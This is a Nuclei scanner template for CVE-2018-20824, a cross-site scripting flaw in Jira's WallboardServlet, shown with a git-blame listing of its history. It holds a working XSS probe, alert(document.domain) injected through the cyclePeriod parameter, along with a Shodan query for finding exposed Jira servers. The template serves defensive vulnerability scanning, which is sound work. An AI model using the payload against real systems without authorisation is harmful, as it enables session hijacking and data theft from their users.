nuclei-templates/http/cves/2018/CVE-2018-20824.yaml

id: CVE-2018-20824

info:
  name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting
  author: madrobot,dwisiswant0
  severity: medium
  description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/JRASERVER-69238
    - https://nvd.nist.gov/vuln/detail/CVE-2018-20824
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-20824
    cwe-id: CWE-79
    epss-score: 0.00203
    epss-percentile: 0.5806
    cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira
    shodan-query: http.component:"Atlassian Jira"
  tags: cve,cve2018,atlassian,jira,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - (?mi)timeout:\salert\(document\.domain\)

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202360b94b2b66b216848ecb0bede29dfa5737e36d86988eb5f4c6d1553b54ff29022100dcff5670f067d91be209bf7cbf8b3bae15f88b03be7d0b47cc6803c106d8c16a:922c64590222798bb761d5b6d8e72950
misc changes 2021-01-02 05:00:39 +00:00			`id: CVE-2018-20824`
Pushing newly added cves 2020-06-22 13:35:37 +00:00
			`info:`
Dashboard Content Enhancements (#5077) Dashboard Content Enhancements 2022-08-12 00:45:50 +00:00			`name: Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting`
Updated author names 2021-06-09 12:20:56 +00:00			`author: madrobot,dwisiswant0`
Pushing newly added cves 2020-06-22 13:35:37 +00:00			`severity: medium`
Dashboard Content Enhancements (#5077) Dashboard Content Enhancements 2022-08-12 00:45:50 +00:00			`description: The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`remediation: \|`
			`Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability.`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`reference:`
			`- https://jira.atlassian.com/browse/JRASERVER-69238`
Dashboard Content Enhancements (#5077) Dashboard Content Enhancements 2022-08-12 00:45:50 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2018-20824`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2018-20824`
			`cwe-id: CWE-79`
TemplateMan Update [Fri Nov 10 17:07:51 UTC 2023] :robot: 2023-11-10 17:07:52 +00:00			`epss-score: 0.00203`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.5806`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`cpe: cpe:2.3:a:atlassian:jira::::::::`
Update CVE-2018-20824.yaml 2022-07-04 13:18:51 +00:00			`metadata:`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: atlassian`
			`product: jira`
updated 2018 CVEs 2023-09-06 12:57:14 +00:00			`shodan-query: http.component:"Atlassian Jira"`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`tags: cve,cve2018,atlassian,jira,xss`
Pushing newly added cves 2020-06-22 13:35:37 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Pushing newly added cves 2020-06-22 13:35:37 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain)"`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
Fixed default condition OR to AND in false-positives 2020-07-08 11:38:57 +00:00			`matchers-condition: and`
Pushing newly added cves 2020-06-22 13:35:37 +00:00			`matchers:`
:hammer: Fix false-positives - CVE-2018-20824 2020-07-08 20:45:08 +00:00			`- type: regex`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`part: body`
:hammer: Fix false-positives - CVE-2018-20824 2020-07-08 20:45:08 +00:00			`regex:`
			`- (?mi)timeout:\salert\(document\.domain\)`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot: 2023-12-12 12:02:03 +00:00			`# digest: 4a0a0047304502202360b94b2b66b216848ecb0bede29dfa5737e36d86988eb5f4c6d1553b54ff29022100dcff5670f067d91be209bf7cbf8b3bae15f88b03be7d0b47cc6803c106d8c16a:922c64590222798bb761d5b6d8e72950`